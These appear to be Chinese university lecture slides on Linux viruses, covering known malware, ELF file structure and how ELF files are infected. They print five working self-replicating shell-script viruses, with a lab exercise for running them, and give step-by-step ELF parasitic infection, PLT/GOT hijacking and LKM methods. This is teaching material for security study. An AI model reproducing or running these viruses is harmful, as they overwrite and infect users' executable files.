Linux病毒技术上海交通大学信息安全工程学院
本章的学习目标:
– 了解 Linux的安全问题
– 掌握 Linux病毒的概念
– 掌握 Linux下的脚本病毒
– 熟悉 ELF文件格式
– 掌握 ELF病毒感染方法
Linux安全吗?
一个最大的误区就是很多高性能的安全操作系统可以预防计算机病毒。
另一个误区就是认为 Linux系统尤其可以防止病毒的感染,因为 Linux的程序都来自于源代码,不是二进制格式。
第三个误区就是认为 Linux系统是绝对安全的,因为它具有很多不同的平台,而且每个版本的 Linux系统有很大的不一样。
Linux病毒列表
Slapper,The most dangerous Linux worm; it's network-aware and in August
2002 it exploited a flaw in OpenSSL libraries in Apache servers with
OpenSSL enabled,
Bliss,Also a well-known bug,it infects ELF executables,locating binaries
with write access and overwrites those with its own code,
Staog,Considered the first Linux virus,it infects ELF executables,
Typot,A Linux Trojan that does distributed port scanning,generating TCP
packets with a window size of 55808.
Mydoom,Windows worm have network propagation and process
termination capabilities to launch a denial of service (DoS) attack on
www.sco.com.
TNF,A DDoS agent.Makes ICMP flood,SYN flood,UDP flood,
and Smurf attacks,It also has the capability of installing a,root shell”
onto the affected system.
R16.A,Delete file in the current directory.Overwirte /bin/cp,/bin/ls.
Create /usr/SEXLOADER,/usr/TMP001.NOT,
RAMEN,The first virus in Linux,Overwrite all index.html in the
system,Add two ftp account,anonymous" and "ftp” in the system.
Add itself’s script in /etc/rc.d/rc.sysinit,rpc.statd (port 111/udp ),wu-
ftpd (port21/tcp),LPRng (port 515)
LINDOSE.A,A rare cross-platform scourge,able to jump Windows
PE and Linux ELF executables,It's a proof-of-concept worm and has
not hit the wild.
MSTREAM.MST,A DDoS agent,It will open TCP port 6732 and
UDP port 9325,Create master and server files.
ADORE.A,A internet worm,Overwrite /bin/ps.VExecutes ICMP,and
opens port 65535,BIND,wu-ftpd,rpc.statd,lpd.
CHEESE.A,Include "GO" shell script,CHEESE,perl script,and
“PSM” ELF.shell script GO runs perl script CHEESE,Delete all
/bin/sh in /etc/inetd.conf,Close inetd.
QUASI,It will infect ELF files in the current directory,It has no
destructiveness,
PASS,It is writed by GNU C,It will change Unix shell.
Virus Threats on Linux Environment Triple Linux病毒分类
第一种,Shell脚本病毒
第二种,蠕虫病毒
第三种,欺骗库函数
第四种,内核级的传播
第五种,与平台兼容的病毒
Linux系统下的脚本病毒
shell在不同的 Linux系统上面的差别很小。
Shell简单易学。
第一,最原始的 shell病毒。
#shellvirus I#
for file in,/infect/*
do
cp $0 $file
done
第二,一个简单的 Shell病毒
#shellvirus II#
for file in,/infect/*
do
if test -f $file #判断是否为文件
then
if test -x $file #判断是否可执行
then
if test -w $file #判断是否有写权限
then
if grep –s sh $file >,mmm #判断是否为脚本文件
then
cp $0 $file #覆盖当前文件
fi
fi
fi
fi
done
rm,mmm -f
第三,具有感染机制的 Shell病毒
#shellvirus III#
#infection
head -n 35 $0 >,test1 #取病毒自身代码并保存到,test
for file in,/* #遍历当前目录中的文件
do
echo $file
head -n 2 $file >,mm #提取要感染的脚本文件的第一行
if grep infection,mm >,mmm #判断是否有感染标记 infection
then #已经被感染,则跳过
echo "infected file and rm,mm"
rm -f,mm
else #尚未感染,继续执行
if test -f $file
then
echo "test -f"
if test -x $file
then
echo "test -x"
if test -w $file
then
echo "test -w"
if grep -s sh $file >,mmm
then
echo "test -s and cat..."
cat $file >,SAVEE #把病毒代码放在脚本文件的开始部分
cat,test1 > $file #原有代码追加在末尾
cat,SAVEE >> $file #形成含有病毒代码的脚本文件
fi
fi
fi
fi
fi
done
rm,test1,SAVEE,mmm,mm –f #清理工作第四,更加晦涩的病毒
#ShellVirus IV#
#infection
for file in,/* ; do #分号( ;)表示命令分隔符
if test -f $file && test -x $file && test -w $file ; then
if grep -s sh $file > /dev/nul ; then
head -n 2 $file >,mm
if grep -s infection,mm > /dev/nul ; then
rm -f,mm ; else
head -n 14 $0 >,SAVEE
cat $file >>,SAVEE
cat,SAVEE > $file
fi fi fi
done
rm -f,SAVEE,mm
第五,感染特定目录的 Shell病毒
#ShellVirus V#
#infection
xtemp=$pwd #保存当前路径
head -n 22 $0 > /.test1
for dir in,/* ; do #遍历当前目录
if test -d $dir ; then #如果有子目录则进入
cd $dir
for file in,/* ; do #遍历该目录文件
if test -f $file && test -x $file && test -w $file ; then
if grep -s sh $file > /dev/nul ; then
head -n 2 $file >,mm
if grep -s infection,mm > /dev/nul ; then
rm -f,mm ; else
cat $file > /.SAVEE #完成感染
cat /.test1 > $file
cat /.SAVEE >> $file
fi fi fi
done
cd,.
fi
done
cd $xtemp
rm -f /.test1 /.SAVEE,mm #清理工作脚本病毒实验
【 实验目的 】
了解 Linux脚本型病毒的基本编制原理。
了解脚本病毒的感染、破坏机制,进一步认识 Linux操作系统下的病毒。
【 实验环境 】
运行环境 Red Hat Linux操作系统。
【 实验步骤 】
文件位置:光盘盘符,\Experiment\LinuxScript。该目录下共包含
v_1.sh,v_2.sh,v_3.sh,v_4.sh,v_5.sh等 5个 Linux系统下的脚本病毒文件。拷贝这些文件到 Linux系统。
修改这些病毒为可执行文件。
创建测试用脚本文件(例如,test.sh),根据病毒感染能力,注意测试文件的属性、所在目录层次等。
依次执行这 5个脚本病毒,察看它们的执行效果。
【 实验注意事项 】
本病毒程序用于实验目的,请妥善使用。
本病毒程序具有一定的破坏力,做实验室注意安全,推荐使用虚 拟机环境。
注意字符格式,防止非法字符存在于 *.sh文件中。
Linux可执行文件格式( ELF)
Elf 也就是,Executable and Linking Format.”
Elf 起源于 Unix,经改进应用于 FreeBSD和
Linux等现有类 Unix操作系统。
微软的 PE格式也学习了 ELF格式的优点。
ELF文档服务于在不同的操作系统上目标文件的创建或者执行文件的开发。它分以下三个部分:
–,目标文件,描述了 ELF目标文件格式三种主要的类型。
–,程序装载和动态连接,描述了目标文件的信息和系统在创建运行时程序的行为。
–,C 语言库,列出了所有包含在 libsys中的符号、标准的 ANSIC和 libc的运行程序,还有
libc运行程序所需的全局的数据符号。
三种主要类型:
一个可重定位文件 (relocatable file)保存着代码和适当的数据,用来和其他的目标文件一起来创建一个可执行文件或者是一个共享文件。
一个可执行文件 (executable file)保存着一个用来执行的程序,该文件指出了 exec(BA_OS)如何来创建程序进程映象。
一个共享目标文件( shared object file)保存着代码和合适的数据,用来被下面的两个链接器链接。第一个是链接编辑器,可以和其他的重定位和共享目标文件来创建另一个目标文件。第二个是动态链接器,
联合一个可执行文件和其他的共享目标文件来创建一个进程映象。
ELF的结构
ELF header ELF header
Program header table (optional) Program header table
Section 1 Segment 1
… Segment 2
Section n …
… …
… …
Section header table Section header table (optional)
ELF头
#define EI_NIDENT 16
typedef struct {
unsigned char e_ident[EI_NIDENT];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
} Elf32_Ehdr;
常用标示名称 偏移量 目的
EI_MAG0 0 e_ident[EI_MAG0] to e_ident[EI_MAG3]:文件的前 4个字符保存一个魔术数( magic number),用来确定该文件是否为 ELF的目标文件。参见表 7-7EI_MAG1 1
EI_MAG2 2
EI_MAG3 3
EI_CLASS 4 e_ident[EI_CLASS],用来确定文件的类型或者说是容量。
参见表 1-8
EI_DATA 5 e_ident[EI_DATA]指定了在目标文件中特定处理器数据的编码方式。参见表 1-9
EI_VERSION 6 e_ident[EI_VERSION]表明了 ELF头的版本号。现在这个变量的值一定要设为 EV_CURRENT,参见表 7-5
EI_OSABI 7 操作系统和 ABI的标识
EI_ABIVERSION 8 ABI版本
EI_PAD 9 e_ident[EI_PAD]标识了在 e_ident中开始的未使用的字节,
那些字节保留并被设置为 0。程序把它们从目标文件中读出但应该忽略。如果当前未被使用的字节有了新的定义,EI_PAD变量将会被改变。
EI_NIDENT 16 e_ident[]的长度节
一个目标文件的节头表可以让我们定位所有的节。节头表是一个 Elf32_Shdr结构的数组。一个节头表的索引是这个数组的下标。
ELF头结构中的 e_shoff成员给出了节头表的偏移量 (从文件开始计数 )。
e_shnum告诉我们节头表中包含了多少个表项;
e_shentsize 给出了每个表项的长度。某些节头表索引是保留的,这些索引在目标文件中没有与之对应的节。
typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr;
字符串表
字符串表节( String table sections)保存着以 NULL终止的一系列字符,一般我们称为字符串。目标文件使用这些字符串来表示符号和节名。一个字符串的引用是一个字符串表节的索引。
字符表
一个目标文件的符号表( symbol table)
保存了定位和重定位程序的定义和引用的信息。一个符号表索引是相应的下标。
0表项特指了该表的第一个表项,就象未定义的符号索引一样。
重定位
重定位( Relocation)是链接符号引用和符号定义的过程。比如,当一个程序调用一个函数的时候,相关的调用必须在执行时把控制传送到正确的目标地址。
换句话说,重定位文件应当包含如何修改他们的节内容的信息,从而允许可执行文件或共享目标文件为一个进程的程序映像保存正确的信息。
程序头
一个可执行的或共享的目标文件的程序头表是一个结构数组,每一个结构描述一个段或其他系统准备执行该程序所需要的信息。一个目标文件段包含一个或多个部分(就象下面的,段目录,所描述的那样)。程序头仅仅对于可执行或共享的目标文件有意义。
typedef struct {
Elf32_Word p_type;
Elf32_Off p_offset;
Elf32_Addr p_vaddr;
Elf32_Addr p_paddr;
Elf32_Word p_filesz;
Elf32_Word p_memsz;
Elf32_Word p_flags;
Elf32_Word p_align;
} Elf32_Phdr;
段内容实例
Text Segment Data Segment
程序载入
当创建或增加一个进程映像的时候,系统在逻辑上将拷贝一个文件的段到一个虚拟的内存段。
动态链接
程序解释器( Progam Interpreter)
– 系统为解释器,编写,了一个内存映像,而不是使用原始的可执行文件的段映像。此时该解释器就负责接收来自系统的控制并且为应用程序提供一个环境变量。
动态链接器( Dynamic Linker)
– 当使用动态链接方式建立一个可执行文件时,链接器把一个 PT_INTERP类型的元素加到可执行文件中,告诉系统像该系统的解释器一样调用动态链接器。
动态节( Dynamic Section)
– 如果一个目标文件参与动态的链接,它的程序头表将有一个类型为 PT_DYNAMIC的元素。该,段,包含了,dynamic节。一个
_DYNAMIC特别的符号,表明了该节包含了以下结构的一个数组。
共享目标的依赖关系( Shared Object
Dependencies)
– 当链接器处理一个文档库时,它取出库中成员并且把它们拷贝到一个输出的目标文件中。当运行时没有包括一个动态链接器的时候,那些静态的链接服务是可用的。共享目标也提供服务,动态链接器必须把正确的共享目标文件链接到要执行的进程映象中。因此,可执行文件和共享的目标文件之间存在着明确的依赖性。
全局偏移量表 (Global Offset Table,GOT)
– 全局偏移量表在私有数据中保存着绝对地址,
所以在不影响位置无关性和程序代码段共享能力的情况下应该使地址是可用的。一个程序参考它的 GOT(使用位置无关的地址 )并提取绝对的地址,所以与重定向无关的位置定位到绝对的位置。
PLT过程连接表( Procedure Linkage
Table)
– 正如 GOT重定位把位置无关的地址计算成绝对地址一样,PLT过程链接表重定向那些与位置无关的函数调用到绝对的地址。
简单的 C程序及其 ELF格式信息
int xx,yy;
main()
{
xx = 1;
yy = 2;
printf ("xx %d yy %d\n",xx,yy);
}
ELF头信息
root# objdump -f a.out
a.out,file format elf32-i386
architecture,i386,flags 0x00000112:
EXEC_P,HAS_SYMS,D_PAGED
start address 0x080483dc
程序头
Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x000000c0 memsz 0x000000c0 flags r-x
INTERP off 0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0
filesz 0x00000019 memsz 0x00000019 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00000564 memsz 0x00000564 flags r-x
LOAD off 0x00000564 vaddr 0x08049564 paddr 0x08049564 align 2**12
filesz 0x000000a8 memsz 0x000000cc flags rw-
DYNAMIC off 0x0000059c vaddr 0x0804959c paddr 0x0804959c align 2**2
filesz 0x00000070 memsz 0x00000070 flags rw-
NOTE off 0x00000110 vaddr 0x08048110 paddr 0x08048110 align 2**2
filesz 0x00000018 memsz 0x00000018 flags r--
Dynamic节
Dynamic Section:
NEEDED libc.so.4
INIT 0x8048390
FINI 0x8048550
HASH 0x8048128
STRTAB 0x80482c8
SYMTAB 0x80481b8
STRSZ 0xad
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x8049584
PLTRELSZ 0x18
PLTREL 0x11
JMPREL 0x8048378
Need to link this shared library
for printf()
节头表
Sections:
Idx Name Size VMA LMA File off Algn
0,interp 00000019 080480f4 080480f4 000000f4 2**0
CONTENTS,ALLOC,LOAD,READONLY,DATA
1,note.ABI-tag 00000018 08048110 08048110 00000110 2**2
CONTENTS,ALLOC,LOAD,READONLY,DATA
2,hash 00000090 08048128 08048128 00000128 2**2
CONTENTS,ALLOC,LOAD,READONLY,DATA
3,dynsym 00000110 080481b8 080481b8 000001b8 2**2
CONTENTS,ALLOC,LOAD,READONLY,DATA
4,dynstr 000000ad 080482c8 080482c8 000002c8 2**0
CONTENTS,ALLOC,LOAD,READONLY,DATA
5,rel.plt 00000018 08048378 08048378 00000378 2**2
CONTENTS,ALLOC,LOAD,READONLY,DATA
6,init 0000000b 08048390 08048390 00000390 2**2
CONTENTS,ALLOC,LOAD,READONLY,CODE
7,plt 00000040 0804839c 0804839c 0000039c 2**2
CONTENTS,ALLOC,LOAD,READONLY,CODE
8,text 00000174 080483dc 080483dc 000003dc 2**2
CONTENTS,ALLOC,LOAD,READONLY,CODE
节头表 (cont’d)
9,fini 00000006 08048550 08048550 00000550 2**2
CONTENTS,ALLOC,LOAD,READONLY,CODE
10,rodata 0000000e 08048556 08048556 00000556 2**0
CONTENTS,ALLOC,LOAD,READONLY,DATA
11,data 0000000c 08049564 08049564 00000564 2**2
CONTENTS,ALLOC,LOAD,DATA
12,eh_frame 00000004 08049570 08049570 00000570 2**2
CONTENTS,ALLOC,LOAD,DATA
13,ctors 00000008 08049574 08049574 00000574 2**2
CONTENTS,ALLOC,LOAD,DATA
14,dtors 00000008 0804957c 0804957c 0000057c 2**2
CONTENTS,ALLOC,LOAD,DATA
15,got 00000018 08049584 08049584 00000584 2**2
CONTENTS,ALLOC,LOAD,DATA
16,dynamic 00000070 0804959c 0804959c 0000059c 2**2
CONTENTS,ALLOC,LOAD,DATA
17,bss 00000024 0804960c 0804960c 0000060c 2**2
ALLOC
18,stab 000001bc 00000000 00000000 0000060c 2**2
CONTENTS,READONLY,DEBUGGING
19,stabstr 00000388 00000000 00000000 000007c8 2**0
CONTENTS,READONLY,DEBUGGING
20,comment 000000c8 00000000 00000000 00000b50 2**0
符号表
SYMBOL TABLE:
080480f4 l d,interp 00000000
08048110 l d,note.ABI-tag 00000000
08048128 l d,hash 00000000
080481b8 l d,dynsym 00000000
080482c8 l d,dynstr 00000000
08048378 l d,rel.plt 00000000
08048390 l d,init 00000000
0804839c l d,plt 00000000
080483dc l d,text 00000000
08048550 l d,fini 00000000
08048556 l d,rodata 00000000
08049564 l d,data 00000000
08049570 l d,eh_frame 00000000
08049574 l d,ctors 00000000
0804957c l d,dtors 00000000
08049584 l d,got 00000000
0804959c l d,dynamic 00000000
符号表 (cont’d)
0804960c l d,bss 00000000
00000000 l d,stab 00000000
00000000 l d,stabstr 00000000
00000000 l d,comment 00000000
00000000 l d,note 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
00000000 l df *ABS* 00000000 crtstuff.c
08048460 l,text 00000000 gcc2_compiled.
08049568 l O,data 00000000 p.3
0804957c l O,dtors 00000000 __DTOR_LIST__
0804956c l O,data 00000000 completed.4
08048460 l F,text 00000000 __do_global_dtors_aux
08049570 l O,eh_frame 00000000 __EH_FRAME_BEGIN__
符号表 (cont’d)
080484b4 l F,text 00000000 fini_dummy
0804960c l O,bss 00000018 object.11
080484bc l F,text 00000000 frame_dummy
080484e0 l F,text 00000000 init_dummy
08049570 l O,data 00000000 force_to_data
08049574 l O,ctors 00000000 __CTOR_LIST__
00000000 l df *ABS* 00000000 crtstuff.c
08048520 l,text 00000000 gcc2_compiled.
08048520 l F,text 00000000 __do_global_ctors_aux
08049578 l O,ctors 00000000 __CTOR_END__
08048548 l F,text 00000000 init_dummy
08049570 l O,data 00000000 force_to_data
08049580 l O,dtors 00000000 __DTOR_END__
08049570 l O,eh_frame 00000000 __FRAME_END__
00000000 l df *ABS* 00000000 p10.c
080483ac F *UND* 00000031 printf
0804959c g O *ABS* 00000000 _DYNAMIC
08048550 g O *ABS* 00000000 _etext
08048390 g F,init 00000000 _init
08049624 g O,bss 00000004 environ
00000000 w *UND* 00000000 __deregister_frame_info
08049630 g O *ABS* 00000000 end
08049628 g O,bss 00000004 xx
符号表 (cont’d)
08049564 g O,data 00000004 __progname
080483dc g F,text 00000083 _start
0804960c g O *ABS* 00000000 __bss_start
080484e8 g F,text 00000038 main
08048550 g F,fini 00000000 _fini
0804962c g O,bss 00000004 yy
080483bc F *UND* 00000070 atexit
0804960c g O *ABS* 00000000 _edata
08049584 g O *ABS* 00000000 _GLOBAL_OFFSET_TABLE_
08049630 g O *ABS* 00000000 _end
080483cc F *UND* 0000005b exit
00000000 w *UND* 00000000 __register_frame_info
动态符号表
DYNAMIC SYMBOL TABLE:
080483ac DF *UND* 00000031 printf
0804959c g DO *ABS* 00000000 _DYNAMIC
08048550 g DO *ABS* 00000000 _etext
08048390 g DF,init 00000000 _init
08049624 g DO,bss 00000004 environ
00000000 w D *UND* 00000000 __deregister_frame_info
08049630 g DO *ABS* 00000000 end
08049564 g DO,data 00000004 __progname
0804960c g DO *ABS* 00000000 __bss_start
08048550 g DF,fini 00000000 _fini
080483bc DF *UND* 00000070 atexit
0804960c g DO *ABS* 00000000 _edata
08049584 g DO *ABS* 00000000 _GLOBAL_OFFSET_TABLE_
08049630 g DO *ABS* 00000000 _end
080483cc DF *UND* 0000005b exit
00000000 w D *UND* 00000000 __register_frame_info
Debugging Information
int main ()
{ /* 0x80484e8 */
} /* 0x80484e8 */
int main ()
{ /* 0x80484e8 */
/* file /usr/home/shieyuan/test/p10.c line 3 addr 0x80484ee */
/* file /usr/home/shieyuan/test/p10.c line 5 addr 0x80484ee */
/* file /usr/home/shieyuan/test/p10.c line 6 addr 0x80484f8 */
/* file /usr/home/shieyuan/test/p10.c line 7 addr 0x8048502 */
/* file /usr/home/shieyuan/test/p10.c line 8 addr 0x804851e */
/* file /usr/home/shieyuan/test/p10.c line 8 addr 0x804851e */
} /* 0x8048520 */
int xx /* 0x8049628 */;
int yy /* 0x804962c */;
动态重定位表
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049590 R_386_JUMP_SLOT printf
08049594 R_386_JUMP_SLOT atexit
08049598 R_386_JUMP_SLOT exit
ELF格式文件病毒感染原理无关 ELF格式的感染方法
覆盖式感染
– 这种感染最初的思路很简单,就是将病毒体直接拷贝到宿主文件中,从开始部分覆盖宿主文件,从而宿主文件被感染成单纯的病毒体,一般情况下宿主文件会遭到破坏,若要使得在病毒执行后仍然交换控制权给宿主文件,则需要给宿主文件备份,这里的思路并不复杂只是将原宿主文件复制到一个隐藏文件,然后在病毒体执行完之后执行宿主文件,使得进程映像中添加的是原宿主文件的内容。
追加式感染
– 这种感染最初的思路也很简单,同上面那种方式不同的是将病毒体直接追加到宿主文件中,或者将宿主追加到病毒体之后,并不存在覆盖宿主文件的行为,从而宿主文件被感染成单纯的病毒体和原宿主文件的合体,在病毒文件执行后交换控制权给宿主文件。
感染过程:
– 查找当前目录下的可执行文件(也可以进行小规模的目录查找)
– 找到可执行文件 test后,
– 修改病毒体,使病毒执行结束后能够提取宿主文件到一个新文件,然后执行这个新文件进行进程映像替换,即交还控制权给宿主文件;
– 合并病毒体到 test,不覆盖宿主文件,但放在宿主文件内容之前;
执行过程:
– 病毒体先执行
– 病毒体执行完后,找到病毒体尾部
– 提取宿主文件到新文件
– 执行新文件利用 ELF格式的感染方法
与 ELF格式相关的感染方法,需要根据
ELF格式来改变 ELF格式内容,从而使病毒代码和宿主代码共存并且病毒代码执行结束后能顺利交接控制权给宿主。向
ELF文件中插入寄生病毒代码要求宿主文件和病毒体都是完整的,因此插入的病毒代码会造成段的使用大小增加。
文本段数据段之间填充区段 页号 页内内容 注释文本段 N TTTTTTTTTTTTTTTTTTTTT T,文本段代码
P,填充代码
D,数据段代码
N+1 TTTTTTTTTTTTTTTTTPPPPP
数据段 N+2 PPPPPPDDDDDDDDDDDDDD
N+3 DDDDDDDDDDDDDDDDDDD
利用文本段之后填充
在文本段末尾插入代码有以下几件事需要做:
增加 "ELF header"中的 p_shoff以包含新代码
定位 "text segment program header"
增加 p_filesz算入新代码
增加 p_memsz 算入新代码
对于文本段 phdr之后的其他 phdr
修正 p_offset
对于那些因插入寄生代码影响偏移的每节的 shdr
修正 sh_offset
在文件中物理地插入寄生代码到这个位置
根据 ELF规范,p_vaddr和 p_offset在 Phdr中必须模 page size相等。
p_vaddr (mod PAGE_SIZE) = p_offset (mod PAGE_SIZE)
感染后的情况
ELF Header
Program header table
Segment1(宿主文本段)
寄生代码
Segment2(数据段)
Section header table
Extra sections
段 页号 页内内容 注释文本段 N TTTTTTTTTTTTTTTTTTTTTT T,文本段代码
P,填充代码
V,病毒代码
D,数据段代码N+1 TTTTTTTTTTTTTTTTTVVVV
N+2 VVVPPPPPPPPPPPPPPPPPPPP
数据段 N+3 PPPPPPDDDDDDDDDDDDDD
N+4 DDDDDDDDDDDDDDDDDDD
数据段之后插入感染
修改病毒代码,使病毒代码执行后能够跳转到原来的入口点;
定位数据段:
修改 ELF头中的入口点,指向新的代码,即数据段末尾处
( p_vaddr+p_memsz);
修改 e_shoff字段指向新的节头表偏移量,即原来的加上加入的病毒大小和 bss段大小;
对于数据段程序头:
增加 p_filesz用来包括新的代码和,bss节;
增加 p_memsz包含入新的代码;
计算,bss节的大小( p_memsz-p_filesz);
对于任何一个插入点之后节的节头 shdr:
增加 sh_offset,增加数值为病毒大小与,bss节大小的和;
物理地插入病毒代码到文件中:
移动节头表以及其他两个不属于任何段的节。
感染后的情况
ELF Header
Program header table
Segment1
Segment2(宿主数据段)
寄生代码
Section header table
Extra sections
文本段之前插入感染
修改病毒代码使病毒代码能够执行完后跳转到原来的入口地址;
修正 ELF头中的 e_shoff来包含入新的代码;
定位文本段:
修正文本段 p_memsz和 p_filesz,增大 PAGESIZE大小;
修正该程序头的 p_vaddr p_paddr;
对任何插入点之后的段的程序头 phdr:
增加 p_offset来算入新的代码;
还应修改 p_vaddr,p_paddr与偏移成模运算关系;
对任何插入点之后的节的节头 shdr:
增加 sh_offset来算入新的代码;
物理地插入病毒代码到文件中,填充到 PAGESIZE大小,将病毒体及填充插在 ELF头和程序头表之后区域。
感染后的情况
ELF Header
Program header table
寄生代码
Segment1(文本段)
Segment2(数据段)
Section header table
Extra sections
利用函数对齐填充区感染
从当前进程中取出病毒代码,查找合适的未被感染的 ELF可执行文件作为宿主文件,并修改病毒体,使其执行完后能够跳转至宿主文件代码入口点;
查找宿主文件函数填充区,找到足够大的函数填充区并记录;
将病毒体分割;
将分割后的病毒放入宿主文件多个函数填充区内,
并在每一块后设置跳转指令,使其各部分相连接;
修订入口点,使其指向病毒体入口点。
利用 NOTE段或者扩展,note节
查找文件中的 PT_NOTE类型的段,修改
PT_NOTE类型段程序头中的字段,重点字段需要修改 p_type为 PT_LOAD,并将其他字段修改为合适的值,然后将 ELF头中的 e_entry字段修改为 PT_NOTE段的
p_vaddr值,即使病毒程序先于宿主程序执行,修改病毒程序使其执行结束后能够跳转到原入口地址。然后插入病毒体到文本段中相应位置 。
高级感染技术
上升到内核层次的病毒感染就是高级感染,这就需要感染内核的模块。对 Linux
最致命的病毒攻击方式就是感染 Linux内核,也就是使用 Linux的 LKM。
LKM感染技术
LKM在 Linux操作系统中被广泛使用,主要的原因就是 LKM具有相对灵活的使用方式和强大的功能,可以被动态地加载,
而不需要重新编译内核。同样,在另一个方面,对于病毒而言,也有很多好处,
比如隐藏文件和进程等,但是使用 LKM
是比较麻烦的,需要较高的技术要求。
PLT/GOT 劫持实现
对 PLT实现重定向的算法具体可以描述如下:
– 将文本段修改为可写权限;
– 保存 PLT入口点;
– 使用新的库调用地址替代原入口;
– 对新的库调用中代码的修改:
实现新的库调用的功能,保存原来的
PLT入口,调用原来库调用。
原型病毒实现
这个病毒包含的文件有如下几个(参考附书光盘):
– get_patch.sh 用来修订文件中两个宏定义的 bash脚本文件
– infector.c 感染器程序
– infector.h 感染器程序的头文件
– Makefile Makefile文件
– virus.c 病毒体的源文件
– virus.h 病毒体头文件文本段后填充感染
增加 "ELF header"中的 e_shoff增大 PAGESIZE大小;
修正插入代码使其能够跳转到原主体代码的入口点;
定位文本段程序头:
修改 ELF头的入口点地址指向新的入口点( p_vaddr+p_filesz);
增加 p_filesz 包含新代码;
增加 p_memsz 包含新代码;
对于文本段最后一节的 shdr:
增大 sh_size加上寄生代码的大小;
对于文本段之后的 phdr:
增加 p_offset 加上 PAGESIZE大小;
对于那些因插入寄生代码而影响偏移的每个节的 shdr:
增加 sh_offset 加上 PAGESIZE大小;
在文件中物理的插入寄生代码,并且填充到一个页大小。位置 处于文本段的 p_offset 加上原来的 p_filesz的偏移位置。
数据段后填充感染
修改病毒代码,使病毒代码执行后能够跳转到原来的入口点;
定位数据段:
修改 ELF头中的入口点,指向新的代码,即数据段末尾处
( p_vaddr+p_memsz);
修改 e_shoff字段指向新的节头表偏移量,即原来的加上加入的病毒大小和 bss段大小;
对于数据段程序头:
增加 p_filesz用来包括新的代码和,bss节;
增加 p_memsz包含入新的代码;
计算,bss节的大小( p_memsz-p_filesz);
对于任何一个插入点之后节的节头 shdr:
增加 sh_offset,增加数值为病毒大小与,bss节大小的和;
物理地插入病毒代码到文件中:
移动节头表以及其他两个不属于任何段的节。
初始和收尾模块病毒演示效果病毒演示效果( con)